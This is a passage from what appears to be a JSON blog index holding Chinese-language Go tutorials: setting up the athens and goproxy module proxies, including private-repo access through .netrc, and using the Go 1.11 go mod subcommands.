如果不是碰到了基于SOAP的遗留系统，我想我是不会研究SOAP的，毕竟基于SOAP的系统正在逐渐消逝在大众的视野中。上面的demo应该可以让大家对如何用Go与SOAP系统交互有了一个粗浅的认识。这里算是一个不错的起点。如果大家对于Go与SOAP有更深刻地研究或者有更好的有关SOAP的开源项目，欢迎交流。\n文中源码在这里可以找到。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我要发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2019/01/08/go-and-soap/","summary":"\u003cp\u003e在\u003ca href=\"https://en.wikipedia.org/wiki/Representational_state_transfer\"\u003eREST\u003c/a\u003e和\u003ca href=\"https://en.wikipedia.org/wiki/Remote_procedure_call\"\u003eRPC\u003c/a\u003e大行其道的今天，支持\u003ca href=\"https://en.wikipedia.org/wiki/Simple_Object_Access_Protocol\"\u003eSOAP（简答对象访问协议）\u003c/a\u003e作为Web服务消息交换协议的情况是越来越少了。但在一些遗留系统中，尤其是采用微软技术栈的服务系统中，SOAP依然占有一席之地，比如在一些医院院内的IT系统中。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2017/10/24/go-evolution-for-ten-years-an-interview-by-osc/\"\u003eGo语言诞生\u003c/a\u003e后，主流的Web Service设计已经开始过渡到REST和RPC，\u003ca href=\"https://tonybai.com/tag/go\"\u003eGo\u003c/a\u003e相关开源项目也以对REST和RPC的支持为主。而对SOAP的支持则少而零散，社区里也没有对SOAP支持的重量级开源项目，在\u003ca href=\"https://awesome-go.com/\"\u003eawesome go\u003c/a\u003e的各种list中也难觅有关SOAP的推荐项目的身影。\u003c/p\u003e\n\u003cp\u003e但Gopher世界还是有以client身份与SOAP service交互或是实现SOAP server的需求的。在这篇文章中，我就和大家一起来探索一下如何基于一些开源项目，使用Go实现SOAP client和SOAP Server的。\u003c/p\u003e","title":"Go与SOAP"},{"content":"一. Go module引入的幸福与“无奈” 在《Go 1.11中值得关注的几个变化》一文中，我们知道了Go语言通过引入module的概念进而引入了Go tool的另外一种工作模式module-aware mode。在新的工作模式下，Go module支持了Versioned Go，并初步解决了包依赖管理的问题。\n对于全世界绝大多数Gophers来说，Go module的引入带来的都是满满的幸福感，但是对于位于中国大陆地区的Gopher来说，在这种幸福感袭来的同时，也夹带了一丝**“无奈”**。其原因在于module-aware mode下，go tool默认不再使用传统GOPATH下或top vendor下面的包了，而是在GOPATH/pkg/mod(go 1.11中是这个位置，也许以后版本这个位置会变动)下面寻找Go module的local cache。\n由于众所周知的原因，在大陆地区我们无法直接通过go get命令或git clone获取到一些第三方包，这其中最常见的就是golang.org/x下面的各种优秀的包。但是在传统的GOPATH mode下，我们可以先从golang.org/x/xxx的mirror站点github.com/golang/xxx上git clone这些包，然后将其重命名为golang.org/x/xxx。这样也能勉强通过开发者本地的编译。又或将这些包放入vendor目录并提交到repo中，也能实现正确的构建。\n但是go module引入后，一旦工作在module-aware mode下，go build将不care GOPATH下或是vendor下的包，而是到GOPATH/pkg/mod查询是否有module的cache，如果没有，则会去下载某个版本的module，而对于golang.org/x/xxx下面的module，在大陆地区往往会get失败。\n有朋友可能会说，可以继续通过其他mirror站点下载再改名啊？理论上是可行的。但是现实中，这样做很繁琐。我们先来看看go module的专用本地缓存目录结构：\n➜ /Users/tony/go/pkg/mod $tree -L 7 . ├── cache │ └── download │ └── golang.org │ └── x │ └── text │ └── @v │ ├── list │ ├── v0.1.0.info │ ├── v0.1.0.mod │ ├── v0.1.0.zip │ ├── v0.1.0.ziphash │ ├── v0.3.0.info │ ├── v0.3.0.mod │ ├── v0.3.0.zip │ └── v0.3.0.ziphash └── golang.org └── x ├── text@v0.1.0 └── text@v0.3.0 我们看到mod下的结构是经过精心设计的。cache/download下面存储了每个module的“元信息”以及每个module不同version的zip包。比如在这里，我们看到了golang.org/x/text这个module的v0.1.0和v0.3.0两个版本的元信息和对应的源码zip；同时mod下还直接存有text module的两个版本v0.1.0和v0.3.0的源码。\n如果我们还像GOPATH mode下那种通过“mirror站下载再改名”的方式来满足go build的需求，那么我们需要手工分别制作某个module的不同版本的元信息以及源码目录，制作元信息时还要了解每个文件（比如：xx.info、xxx.mod等）的内容的生成机制，这样的方法的**“体验”**并不好。\n二. “解铃还须系铃人” – 使用Go module proxy 那么问题来了：大陆Gopher如何能在go module开启的状态下享受go module带来的福利呢？ “解铃还须系铃人”！答案就在go 1.11中。Go 1.11在引入go module的同时，还引入了Go module proxy(go help goproxy）的概念。\ngo get命令默认情况下，无论是在gopath mode还是module-aware mode，都是直接从vcs服务(比如github、gitlab等)下载module的。但是Go 1.11中，我们可以通过设置GOPROXY环境变量来做一些改变：让Go命令从其他地方下载module。比如：\nexport GOPROXY=https://goproxy.io 一旦如上面设置生效后，后续go命令会通过go module download protocol与proxy交互下载特定版本的module。聪明的小伙伴们一定想到了。如果我们在某个国外VPS上搭建一个go module proxy server的实现，我们将可以通过该proxy下载到类似golang.org/x下面的module。与此同时，一些诸如从github.com上get package慢等次要的问题可能也被一并fix掉了。\n显然Go官方加入go proxy的初衷并非为了解决中国大陆地区的下载qiang外包的烦恼的。但不可否认的是，GOPROXY让gopher在versioned go的基础上，对module和package的获取行为上增加了一层控制和干预能力。\n三. Go module proxy的实现之一：athens 至于proxy具体带来怎样的控制和干预能力、给gopher带来哪些好处，就要看我们选择了哪种go module proxy的具体实现了。\n当前go module proxy的一个受关注度较高的实现是微软Azure开发人员Aaron Schlesinger主导开源的athens。athens项目的目标是致力于建设一个联合的、组织良好的go proxy网络（而不是单一的global go module proxy），以提升gopher使用module的体验。athens项目重点关注于：\nGo module代理服务器的实现，用于边缘部署 一个带身份验证的module proxy的协议 一个module公证服务器，用来验证module源代码 满足企业级需求，提供一种方案让企业可以指定包含/排除的Go外部module列表 athens项目从今年8月份宣布开源到现在依旧很年轻，截止至本文发布时，athens刚刚发布了第一个Beta版本v0.2.0，还尚未发布正式的1.0.0版本。\n接下来，我们来试用一下athens，并对其主要功能进行一些验证。\n1. 安装athens athens的工作原理并不复杂，athens在收到用户请求的时候，会检查本地缓存是否有对应版本的module，如果有，则直接返回应答；如果没有。则会向upstream vcs请求下载对应的module。获取成功后cache到本地，并給请求端返回应答。athens强调”immutable(不变性)”的理念。这样即便upstream vcs的原始module对应的repo被删除了或被force push破坏了，只要module缓存在athens自己的存储上了，客户端的module请求就会得到满足，gopher的build不会因为repo被删除而受到破坏。\nathens目前提供了基于docker和基于k8s的安装方式（物理binary安装目前尚未提供）。我们选择在一个国外的VPS上使用docker方式安装athens:\n# docker run -d -v /root/athens-storage:/var/lib/athens -e ATHENS_DISK_STORAGE_ROOT=/var/lib/athens -e ATHENS_STORAGE_TYPE=disk --name athens-proxy --restart always -p 3000:3000 gomods/athens:v0.2.0 30cdcc55028de0028eae910758a6ee08ecaf960ab0e79a25e8a1353b8e8ff57c # docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 30cdcc55028d gomods/athens:v0.2.0 \u0026quot;athens-proxy -con...\u0026quot; 12 seconds ago Up 12 seconds 0.0.0.0:3000-\u0026gt;3000/tcp athens-proxy # docker logs -f athens-proxy buffalo: Unless you set SESSION_SECRET env variable, your session storage is not protected! time=\u0026quot;2018-11-26T09:59:09Z\u0026quot; level=info msg=\u0026quot;Exporter not specified. Traces won't be exported\u0026quot; buffalo: Starting application at :3000 我们使用local disk作为athens的存储方案。我们在本地建立/root/athens-storage目录，并将其挂载到容器的/var/lib/athens路径下，并设定ATHENS_DISK_STORAGE_ROOT=/var/lib/athens。从athens container的启动日志来看，容器已经启动成功了！\n2. 通过athens下载public repo中的module 接下来我们来验证一下通过athens获取public module。我们还使用gocmpp这个代码，它依赖golang.org/x/text module下面的package。\n我们首先clean一下$GOPATH/pkg/mod，然后设置一下GOPROXY环境变量：\nexport GOPROXY=YOUR_VPS_IP:3000 接下来，我们进入到gocmpp目录下，执行go build：\n$go build go: finding golang.org/x/text v0.3.0 go: downloading golang.org/x/text v0.3.0 我们看到go compiler顺利下载了golang.org/x/text module相关文件。再来看一下athens的日志：\n# docker logs -f athens-proxy handler: GET /golang.org/x/text/@v/v0.3.0.info [200] handler: GET /golang.org/x/text/@v/v0.3.0.mod [200] handler: GET /golang.org/x/text/@v/v0.3.0.zip [200] 如果此时我们再次尝试通过athens获取text module，由于text module已经cache到了athens上，所以后续的get速度会很快。并且由于download protocol中获取module是通过get zip包的方式，理论上也要比clone repo快许多。\n3. 通过athens下载private repo中的module athens这个go module proxy的实现为module get行为提供的额外控制力之一就包括可以用来获取private repo中的module，这也是一个企业级的需求。通常企业private repo都是有身份验证的，因此我们需要在athens中配置访问private repo的账号和凭证信息。目前athens官方文档中提供了通过.netrc方式访问带有身份验证的private repo的功能，这种方式的不足之处就是要将password明文形式存储在athens部署的host上。\n我用bitbucket上的一个private repo来模拟私有git仓库：bitbucket.org/bigwhite/mydog。\n为了让athens可以正常访问该private repo，我们需要为athens做一些额外配置：添加.netrc。\n我们创建.netrc文件：\n//.netrc machine bitbucket.org login MY_USERNAME1 password MY_PASSWORD1 machine gitlab.com login MY_USERNAME2 password MY_PASSWORD2 我们在.netrc中配置了我们访问各大repo service的user和password。\n接下来，我们需要重新创建一下athens container：\n先停掉并删除当前athens-proxy container：\n# docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 30cdcc55028d gomods/athens:v0.2.0 \u0026quot;athens-proxy -con...\u0026quot; 3 hours ago Up 3 hours 0.0.0.0:3000-\u0026gt;3000/tcp athens-proxy # docker stop athens-proxy athens-proxy # docker rm athens-proxy athens-proxy 重新创建athens container时，我们将前面创建的.netrc挂载到container中，并通过ATHENS_NETRC_PATH指定container内.netrc的位置：\n# docker run -d -v $ATHENS_STORAGE:/var/lib/athens -v /root/athens-install:/root -e ATHENS_NETRC_PATH=/root/.netrc -e ATHENS_DISK_STORAGE_ROOT=/var/lib/athens -e ATHENS_STORAGE_TYPE=disk --name athens-proxy --restart always -p 3000:3000 gomods/athens:v0.2.0 751c88648fd4075aa22ff3a4cc62f6467b50d415b6fbf465af247fc6a3978c2e 接下来，我们就来编写一个“驱动”程序：testmydog\n$tree ./testmydog ./testmydog ├── go.mod └── main.go 0 directories, 2 files main.go的内容如下：\npackage main import ( \u0026quot;fmt\u0026quot; \u0026quot;bitbucket.org/bigwhite/mydog\u0026quot; ) func main() { fmt.Println(mydog.Add(1, 2)) } 我们来构建一下该程序：\n$go build go: finding bitbucket.org/bigwhite/mydog latest go: downloading bitbucket.org/bigwhite/mydog v0.0.0-20181126081441-684c772f5624 go命令从athens成功下载了我的私有repo中的mydog module。我们再来看看athens的日志：\nhandler: GET /bitbucket.org/bigwhite/mydog/@v/list/ [200] handler: GET /bitbucket.org/bigwhite/mydog/@latest/ [200] handler: GET /bitbucket.org/bigwhite/mydog/@v/v0.0.0-20181126081441-684c772f5624.zip [200] handler: GET /bitbucket.org/bigwhite/mydog/@v/v0.0.0-20181126081441-684c772f5624.mod [200] 4 athens的global proxy athens还提供了一个试验性的global public proxy：athens.azurefd.net供全球gopher使用。不过在我这里通过联通网络是无法ping通该proxy的：\n$ping athens.azurefd.net PING standard.t-0001.t-msedge.net (13.107.246.10): 56 data bytes Request timeout for icmp_seq 0 Request timeout for icmp_seq 1 Request timeout for icmp_seq 2 ^C --- standard.t-0001.t-msedge.net ping statistics --- 4 packets transmitted, 0 packets received, 100.0% packet loss 但是在我国外的VPS上，与该global proxy的通信是正常的：\n# ping athens.azurefd.net PING standard.t-0001.t-msedge.net (13.107.246.10) 56(84) bytes of data. 64 bytes from 13.107.246.10: icmp_seq=1 ttl=122 time=1.94 ms 64 bytes from 13.107.246.10: icmp_seq=2 ttl=122 time=1.21 ms 64 bytes from 13.107.246.10: icmp_seq=3 ttl=122 time=1.30 ms --- standard.t-0001.t-msedge.net ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2002ms rtt min/avg/max/mdev = 1.217/1.491/1.949/0.328 ms 如果你是国内gopher，那么建议该global proxy还是先不要用了。\n四. 另外一个go module proxy的实现：goproxy github上还有另外一个go module proxy的实现：goproxy。该项目目前看仅是一个public module proxy，并未提供对private repo中module获取的支持。\n不过该项目提供的global proxy: https://goproxy.io/ 却是可以在国内使用的，并且速度还很快！Gopher们只需将该proxy配置到GOPROXY中即可：\nexport GOPROXY=https://goproxy.io 五. 小结 和goproxy项目相比，athens项目显然有更大的“野心”，也有Microsoft这个平台作为背后支撑。但athens毕竟开发时间较短，还有很长之路要走。待Go module在Go 1.12中成型并成熟时，希望那个时候的athens项目能给我们带来更多惊喜。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2018/11/26/hello-go-module-proxy/","summary":"\u003ch2 id=\"一-go-module引入的幸福与无奈\"\u003e一. Go module引入的幸福与“无奈”\u003c/h2\u003e\n\u003cp\u003e在\u003ca href=\"https://tonybai.com/2018/11/19/some-changes-in-go-1-11/\"\u003e《Go 1.11中值得关注的几个变化》\u003c/a\u003e一文中，我们知道了\u003ca href=\"https://tonybai.com/tag/go\"\u003eGo语言\u003c/a\u003e通过引入\u003ca href=\"https://github.com/golang/go/wiki/Modules\"\u003emodule的概念\u003c/a\u003e进而引入了Go tool的另外一种工作模式\u003ca href=\"https://tip.golang.org/cmd/go/#hdr-Module_aware_go_get\"\u003emodule-aware mode\u003c/a\u003e。在新的工作模式下，\u003ca href=\"https://tonybai.com/2018/07/15/hello-go-module/\"\u003eGo module\u003c/a\u003e支持了\u003ca href=\"https://research.swtch.com/vgo-tour\"\u003eVersioned Go\u003c/a\u003e，并初步解决了包依赖管理的问题。\u003c/p\u003e","title":"Hello，Go module proxy"},{"content":"转眼间又近年底，距8月25日Go 1.11版本正式发布已过去快三个月了。由于种种原因，Go语言发布变化系列的Go 1.11版本没能及时放出。近期网课发布上线后，个人时间压力稍缓和。又恰看到近期Go 1.12 release note的initial version已经加入到master，于是这篇文章便上升到个人Todo list的Top3的位置，我也尽一切可能的碎片时间收集素材，撰写文章内容。这个时候谈Go 1.11，总有炒“冷饭”的嫌疑，虽然这碗饭还有一定温度^_^。\n一. Go 1.11版本的重要意义 在Go 1.11版本之前的Go user官方调查中，Gopher抱怨最多的三大问题如下：\n包依赖管理 缺少泛型 错误处理 而Go 1.11开启了问题1：包依赖管理解决的实验。这表明了社区的声音在影响Go语言演化的过程中扮演着日益重要的角色了。\n同时，Go 1.11是Russ Cox在GopherCon 2017大会上发表 “Toward Go2″之后的第一个Go版本，是为后续“Go2”的渐进落地奠定基础的一个版本。\n二. Go 1.11版本变化概述 在”Go2″声音日渐响亮的今天，兼容性(compatibility)也依旧是Go team考虑的Go语言演化的第一原则，这一点通过Rob Pike在9月份的Go Sydney Meetup上的有关Go 2 Draft Specifications的Talk可以证明(油管视频)。\n兼容性依然是”Go2″的第一考虑\nGo 1.11也一如既往版本那样，继续遵守着Go1兼容协议，这意味使用从Go1.0到Go1.10编写的代码理论上依旧可以通过Go 1.11版本编译并正常运行。\n随着Go 1.11版本的发布，一些老版本的操作系统将不再被支持，比如Windows XP、macOS 10.9.x等。不被支持不意味着完全不能用，只是Go 1.11在这些老旧os上运行时出现问题将不被官方support了。同时根据Go的release support规定，Go 1.11发布也同时意味着Go 1.9版本将和之前的older go release版本一样，官方将不再提供支持了(关键bug fix、security problem fix等)。\nGo 1.11中为近两年逐渐兴起的RISC-Vcpu架构预留了GOARCH值：riscv和riscv64。\nGo 1.11中为调试器增加了一个新的实验功能，那就是允许在调试过程中动态调用Go函数，比如在断点处调用String方法等。Delve 1.1.0及以上版本可以使用该功能。\n在运行时方面，Go 1.11使用了一个稀疏heap布局，这样就去掉了以往Go heap最大512G的限制。\n通过Go 1.11编译的Go程序一般来说性能都会有小幅的提升。对于使用math/big包的程序或arm64架构上的Go程序而言，这次的提升尤为明显。\nGo 1.11中最大的变化莫过于两点：\nmodule机制的实验性引入，以试图解决长久以来困扰Gopher们的包依赖问题； 增加对WebAssembly的支持，这样以后Gopher们可以通过Go语言编写前端应用了。 Go 1.11的change很多，这是core team和社区共同努力的结果。但在我这个系列文章中，我们只能详细关注少数重要的变化。下面我们就来稍微详细地说说go module和go support WebAssembly这两个显著的变化。\n三. go module 在Go 1.11 beta2版本发布之前，我曾经基于当时的Go tip版本撰写了一篇 《初窥go module》的文章，重点描述了go module的实现机制，包括Semantic Import Versioning、Minimal Version Selection等，因此对go module（前身为vgo)是什么以及实现机制感兴趣的小伙伴儿们可以先移步到那篇文章了解。在这里我将通过为一个已存在的repo添加go.mod的方式来描述go module。\n这里我们使用的是go 1.11.2版本，repo为gocmpp。注意：我们没有显式设置GO111MODULE的值，这样只有在GOPATH之外的路径下，且当前路径下有go.mod或子路径下有go.mod文件时，go compiler才进入module-aware模式(相比较于gopath模式)。\n1. 初始化go.mod 我们先把gocmpp clone到gopath之外的一个路径下：\n# git clone https://github.com/bigwhite/gocmpp.git Cloning into 'gocmpp'... remote: Enumerating objects: 1, done. remote: Counting objects: 100% (1/1), done. remote: Total 950 (delta 0), reused 0 (delta 0), pack-reused 949 Receiving objects: 100% (950/950), 3.85 MiB | 0 bytes/s, done. Resolving deltas: 100% (396/396), done. Checking connectivity... done. 在应用go module之前，我们先来在传统的gopath模式下build一次：\n# go build connect.go:24:2: cannot find package \u0026quot;github.com/bigwhite/gocmpp/utils\u0026quot; in any of: /root/.bin/go1.11.2/src/github.com/bigwhite/gocmpp/utils (from $GOROOT) /root/go/src/github.com/bigwhite/gocmpp/utils (from $GOPATH) 正如我们所料，由于处于GOPATH外面，且GO111MODULE并未显式设置，Go compiler会尝试在当前目录或子目录下查找go.mod，如果没有go.mod文件，则会采用传统gopath模式编译，即在$GOPATH/src下面找相关的import package，因此失败。\n下面我们通过建立go.mod，将编译mode切换为module-aware mode。\n我们通过go mod init命令来为gocmpp创建go.mod文件：\n# go mod init github.com/bigwhite/gocmpp go: creating new go.mod: module github.com/bigwhite/gocmpp # cat go.mod module github.com/bigwhite/gocmpp 我们看到，go mod init命令在当前目录下创建一个go.mod文件，内有一行内容，描述了该module为 github.com/bigwhite/gocmpp。\n我们再来构建一下gocmpp：\n# go build go: finding golang.org/x/text/transform latest go: finding golang.org/x/text/encoding/unicode latest go: finding golang.org/x/text/encoding/simplifiedchinese latest go: finding golang.org/x/text v0.3.0 go: finding golang.org/x/text/encoding latest go: downloading golang.org/x/text v0.3.0 由于当前目录下有了go.mod文件，go compiler将工作在module-aware模式下，自动分析gocmpp的依赖、确定gocmpp依赖包的初始版本，并下载这些版本的依赖包缓存到特定目录下（目前是存放在$GOPATH/pkg/mod下面）\n# cat go.mod module github.com/bigwhite/gocmpp require golang.org/x/text v0.3.0 我们看到go.mod中多了一行信息：“require golang.org/x/text v0.3.0″。这就是gocmpp这个module所依赖的第三方包以及经过go compiler初始分析确定使用的版本(v0.3.0)。\n2. 用于verify的go.sum go build后，当前目录下还多出了一个go.sum文件。\n# cat go.sum golang.org/x/text v0.3.0 h1:g61tztE5qeGQ89tm6NTjjM9VPIm088od1l6aSorWRWg= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= go.sum记录每个依赖库的版本和对应的内容的校验和(一个哈希值)。每当增加一个依赖项时，如果go.sum中没有，则会将该依赖项的版本和内容校验和添加到go.sum中。go命令会使用这些校验和与缓存在本地的依赖包副本元信息(比如：$GOPATH/pkg/mod/cache/download/golang.org/x/text/@v下面的v0.3.0.ziphash)进行比对校验。\n如果我修改了$GOPATH/pkg/mod/cache/download/golang.org/x/text/@v/v0.3.0.ziphash中的值，那么当我执行下面verify命令时会报错：\n# go mod verify golang.org/x/text v0.3.0: zip has been modified (/root/go/pkg/mod/cache/download/golang.org/x/text/@v/v0.3.0.zip) golang.org/x/text v0.3.0: dir has been modified (/root/go/pkg/mod/golang.org/x/text@v0.3.0) 如果没有“恶意”修改，则verify会报成功：\n# go mod verify all modules verified 3. 用why解释为何依赖，给出依赖路径 go.mod中的依赖项由go相关命令自动生成和维护。但是如果开发人员想知道为什么会依赖某个package，可以通过go mod why命令来查询原因。go mod why命令默认会给出一个main包到要查询的packge的最短依赖路径。如果go mod why使用 -m flag，则后面的参数将被看成是module，并给出main包到每个module中每个package的最短依赖路径（如果依赖的话）：\n下面我们通过go mod why命令查看一下gocmpp module到 golang.org/x/oauth2和golang.org/x/exp两个包是否有依赖：\n# go mod why golang.org/x/oauth2 golang.org/x/exp go: finding golang.org/x/oauth2 latest go: finding golang.org/x/exp latest go: downloading golang.org/x/oauth2 v0.0.0-20181106182150-f42d05182288 go: downloading golang.org/x/exp v0.0.0-20181112044915-a3060d491354 go: finding golang.org/x/net/context/ctxhttp latest go: finding golang.org/x/net/context latest go: finding golang.org/x/net latest go: downloading golang.org/x/net v0.0.0-20181114220301-adae6a3d119a # golang.org/x/oauth2 (main module does not need package golang.org/x/oauth2) # golang.org/x/exp (main module does not need package golang.org/x/exp) 通过结尾几行的输出日志，我们看到gocmpp的main package没有对golang.org/x/oauth2和golang.org/x/exp两个包产生任何依赖。\n我们加上-m flag再来执行一遍：\n# go mod why -m golang.org/x/oauth2 golang.org/x/exp # golang.org/x/oauth2 (main module does not need module golang.org/x/oauth2) # golang.org/x/exp (main module does not need module golang.org/x/exp) 同样是没有依赖的输出结果，但是输出日志中使用的是module，而不是package字样。说明go mod why将golang.org/x/oauth2和golang.org/x/exp视为module了。\n我们再来查询一下对golang.org/x/text的依赖：\n# go mod why golang.org/x/text # golang.org/x/text (main module does not need package golang.org/x/text) # go mod why -m golang.org/x/text # golang.org/x/text github.com/bigwhite/gocmpp/utils golang.org/x/text/encoding/simplifiedchinese 我们看到，如果-m flag不开启，那么gocmpp main package没有对golang.org/x/text的依赖路径；如果-m flag开启，则golang.org/x/text被视为module，go mod why会检查gocmpp main package到module: golang.org/x/text下面所有package是否有依赖路径。这里我们看到gocmpp main package依赖了golang.org/x/text module下面的golang.org/x/text/encoding/simplifiedchinese这个package，并给出了最短依赖路径。\n4. 清理go.mod和go.sum中的条目：go mod tidy 经过上述操作后，我们再来看看go.mod中的内容：\n# cat go.mod module github.com/bigwhite/gocmpp require ( github.com/dvyukov/go-fuzz v0.0.0-20181106053552-383a81f6d048 golang.org/x/net v0.0.0-20181114220301-adae6a3d119a // indirect golang.org/x/oauth2 v0.0.0-20181106182150-f42d05182288 // indirect golang.org/x/text v0.3.0 ) 我们发现go.mod中require block增加了许多条目，显然我们的gocmpp并没有依赖到golang.org/x/oauth2和golang.org/x/net中的任何package。我们要清理一下go.mod，使其与gocmpp源码中的第三方依赖的真实情况保持一致，我们使用go mod tidy命令：\n# go mod tidy # cat go.mod module github.com/bigwhite/gocmpp require ( github.com/dvyukov/go-fuzz v0.0.0-20181106053552-383a81f6d048 golang.org/x/text v0.3.0 ) # cat go.sum github.com/dvyukov/go-fuzz v0.0.0-20181106053552-383a81f6d048 h1:3O5zXlWvrRdioniMPz8pW+pGi+BNEFRtVhvj0GnknbQ= github.com/dvyukov/go-fuzz v0.0.0-20181106053552-383a81f6d048/go.mod h1:11Gm+ccJnvAhCNLlf5+cS9KjtbaD5I5zaZpFMsTHWTw= golang.org/x/text v0.3.0 h1:g61tztE5qeGQ89tm6NTjjM9VPIm088od1l6aSorWRWg= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 我们看到：执行完tidy命令后，go.mod和go.sum都变得简洁了，里面的每一个条目都是gocmpp所真实依赖的package/module的信息。\n5. 对依赖包的版本进行“升降级”(upgrade或downgrade) 如果对go mod init初始选择的依赖包版本不甚满意，或是第三方依赖包有更新的版本发布，我们日常开发工作中都会进行对对依赖包的版本进行“升降级”(upgrade或downgrade)的操作。在go module模式下，如何来做呢？由于go.mod和go.sum是由go compiler管理的，这里不建议手工去修改go.mod中require中module的版本号。我们可以通过module-aware的go get命令来实现我们的目的。\n我们先来查看一下golang.org/x/text都有哪些版本可用：\n# go list -m -versions golang.org/x/text golang.org/x/text v0.1.0 v0.2.0 v0.3.0 我们选择将golang.org/x/text从v0.3.0降级到v0.1.0：\n# go get golang.org/x/text@v0.1.0 go: finding golang.org/x/text v0.1.0 go: downloading golang.org/x/text v0.1.0 降级后，我们test一下：\n# go test PASS ok github.com/bigwhite/gocmpp 0.003s 我们这时再看看go.mod和go.sum：\n# cat go.mod module github.com/bigwhite/gocmpp require ( github.com/dvyukov/go-fuzz v0.0.0-20181106053552-383a81f6d048 golang.org/x/text v0.1.0 ) # cat go.sum github.com/dvyukov/go-fuzz v0.0.0-20181106053552-383a81f6d048 h1:3O5zXlWvrRdioniMPz8pW+pGi+BNEFRtVhvj0GnknbQ= github.com/dvyukov/go-fuzz v0.0.0-20181106053552-383a81f6d048/go.mod h1:11Gm+ccJnvAhCNLlf5+cS9KjtbaD5I5zaZpFMsTHWTw= golang.org/x/text v0.1.0 h1:LEnmSFmpuy9xPmlp2JeGQQOYbPv3TkQbuGJU3A0HegU= golang.org/x/text v0.1.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.0 h1:g61tztE5qeGQ89tm6NTjjM9VPIm088od1l6aSorWRWg= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= go.mod中依赖的golang.org/x/text已经从v0.3.0自动变成了v0.1.0了。go.sum中也增加了golang.org/x/text v0.1.0的条目，不过v0.3.0的条目依旧存在。我们可以通过go mod tidy清理一下：\n# go mod tidy # cat go.sum github.com/dvyukov/go-fuzz v0.0.0-20181106053552-383a81f6d048 h1:3O5zXlWvrRdioniMPz8pW+pGi+BNEFRtVhvj0GnknbQ= github.com/dvyukov/go-fuzz v0.0.0-20181106053552-383a81f6d048/go.mod h1:11Gm+ccJnvAhCNLlf5+cS9KjtbaD5I5zaZpFMsTHWTw= golang.org/x/text v0.1.0 h1:LEnmSFmpuy9xPmlp2JeGQQOYbPv3TkQbuGJU3A0HegU= golang.org/x/text v0.1.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= go 1.11中的go get也是支持两套工作模式的: 一套是传统gopath mode的；一套是module-aware的。\n如果我们在gopath之外的路径，且该路径下没有go.mod，那么go get还是回归gopath mode:\n# go get golang.org/x/text@v0.1.0 go: cannot use path@version syntax in GOPATH mode 而module-aware的go get在前面已经演示过了，这里就不重复演示了。\n在module-aware模式下，go get -u会更新依赖，升级到依赖的最新minor或patch release。比如：我们在gocmpp module root path下执行：\n# go get -u golang.org/x/text # cat go.mod module github.com/bigwhite/gocmpp require ( github.com/dvyukov/go-fuzz v0.0.0-20181106053552-383a81f6d048 golang.org/x/text v0.3.0 //恢复到0.3.0 ) 我们看到刚刚降级回v0.1.0的依赖项又自动变回v0.3.0了（注意仅minor号变更）。\n如果仅仅要升级patch号，而不升级minor号，可以使用go get -u=patch A 。比如：如果golang.org/x/text有v0.1.1版本，那么go get -u=patch golang.org/x/text会将go.mod中的text后面的版本号变为v0.1.1，而不是v0.3.0。\n如果go get后面不接具体package，则go get仅针对于main package。\n处于module-aware工作模式下的go get更新某个依赖(无论是升版本还是降版本)时，会自动计算并更新其间接依赖的包的版本。\n6. 兼容go 1.11之前版本的reproduceable build: 使用vendor 处于module-aware mode下的go compiler是完全不理会vendor目录的存在的，go compiler只会使用$GOPATH/pkg/mod下(当前go mod缓存的包是放在这个位置，也许将来会更换位置)缓存的第三方包的特定版本进行编译构建。那么这样一来，对于采用go 1.11之前版本的go compiler来说，reproduceable build就失效了。\n为此，go mod提供了vendor子命令，可以根据依赖在module顶层目录自动生成vendor目录：\n# go mod vendor -v # github.com/dvyukov/go-fuzz v0.0.0-20181106053552-383a81f6d048 github.com/dvyukov/go-fuzz/gen # golang.org/x/text v0.3.0 golang.org/x/text/encoding/simplifiedchinese golang.org/x/text/encoding/unicode golang.org/x/text/transform golang.org/x/text/encoding golang.org/x/text/encoding/internal golang.org/x/text/encoding/internal/identifier golang.org/x/text/internal/utf8internal golang.org/x/text/runes gopher可以将vendor目录提交到git repo，这样老版本的go compiler就可以使用vendor进行reproduceable build了。\n当然在module-aware 